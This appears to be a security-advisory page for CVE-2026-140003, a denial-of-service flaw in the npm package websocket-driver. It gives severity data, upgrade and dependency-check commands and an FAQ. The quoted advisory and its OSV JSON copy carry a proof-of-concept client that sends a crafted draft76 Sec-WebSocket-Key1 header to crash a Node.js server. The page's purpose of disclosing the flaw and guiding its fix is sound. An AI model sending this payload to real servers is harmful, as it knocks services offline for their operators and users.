CVE-2026-140003: websocket-driver Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-c4gv-fww2-jp3r
CVSS 7.5
CWE-248
Published
Advisory Summary

CVE-2026-140003 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-248: Uncaught Exception) affecting websocket-driver libraries in the npm ecosystem. The issue involves denial of service triggered by malformed sec-websocket-key1 header. Remediation is available by upgrading affected packages to version 0.8.0.

CVE-2026-140003 at a Glance

CVE Identifier CVE-2026-140003
GHSA Identifier GHSA-c4gv-fww2-jp3r
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-248: Uncaught Exception
Affected Product websocket-driver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-140003

To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

websocket-driver fixed: 0.8.0
npm install websocket-driver@0.8.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls websocket-driver

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140003, inspect your project dependencies using npm:

npm ls websocket-driver

Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.0), your application is affected.

Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. The `draft76` version's handshake involves the client sending two headers named `Sec-WebSocket-Key1` and `Sec-WebSocket-Key2`. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits. If the values are larger than 32 bits, this triggers an exception in Node's `Buffer` module and this causes the process to crash. To mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) }) server.listen(8000) ``` A client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed `Sec-WebSocket-Key1` header: ```js const net = require('net') let tcp = net.connect(8000, '127.0.0.1') tcp.on('connect', () => { tcp.write([ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', 'Sec-WebSocket-Key1: 858 993 4592', 'Sec-WebSocket-Key2: 1 1', '', '12345678' ].join('\r\n')) }) ``` This will cause the server to crash on Node.js v22 and below. ### Impact An unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 `Sec-WebSocket-Key1` header whose derived value exceeds 32 bits in size.

CVE-2026-140003 Affected websocket-driver Versions

1 component(s)
Fixed Versions:
0.8.0
Product / Package Ecosystem Affected Versions Fixed Version
websocket-driver
npm
< 0.8.0
0.8.0

References

Frequently Asked Questions

What is CVE-2026-140003?
CVE-2026-140003 is a security vulnerability in websocket-driver involving Denial of service triggered by malformed Sec-WebSocket-Key1 header under CWE-248: Uncaught Exception.
Which websocket-driver versions are affected?
Affected versions include releases prior to 0.8.0 across affected packages: websocket-driver.
What version fixes CVE-2026-140003?
Upgrading to 0.8.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is websocket-driver affected?
Yes, websocket-driver is affected in releases prior to 0.8.0. Upgrade your dependency to 0.8.0 or later.
What is the CVSS score of CVE-2026-140003?
CVE-2026-140003 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-140003?
CVE-2026-140003 is classified under CWE-248: Uncaught Exception (An exception is thrown from a function, but it is not caught.).
How can I check npm dependencies for CVE-2026-140003?
Run the dependency tree command: 'npm ls websocket-driver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c4gv-fww2-jp3r",
  "modified" : "2026-12-01T18:23:50Z",
  "published" : "2026-12-01T18:23:50Z",
  "aliases" : [ "CVE-2026-140003" ],
  "summary" : "websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header",
  "details" : "### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. The `draft76` version's handshake involves the client sending two headers named `Sec-WebSocket-Key1` and `Sec-WebSocket-Key2`. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.\n\nIf the values are larger than 32 bits, this triggers an exception in Node's `Buffer` module and this causes the process to crash.\n\nTo mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) => {\n  let driver = ws.server()\n\n  driver.on('connect', () => {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () => conn.end())\n  conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed `Sec-WebSocket-Key1` header:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () => {\n  tcp.write([\n    'GET / HTTP/1.1',\n    'Host: 127.0.0.1:8000',\n    'Connection: upgrade',\n    'Upgrade: websocket',\n    'Sec-WebSocket-Key1: 858 993 4592',\n    'Sec-WebSocket-Key2: 1 1',\n    '',\n    '12345678'\n  ].join('\\r\\n'))\n})\n```\n\nThis will cause the server to crash on Node.js v22 and below.\n\n### Impact\n\nAn unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 `Sec-WebSocket-Key1` header whose derived value exceeds 32 bits in size.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "websocket-driver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-c4gv-fww2-jp3r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140003"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/commit/851117d21fa8eb98f22856b5600e0688c5337214"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/faye/websocket-driver-node"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T18:23:50Z",
    "nvd_published_at" : "2026-11-30T22:17:29Z"
  }
}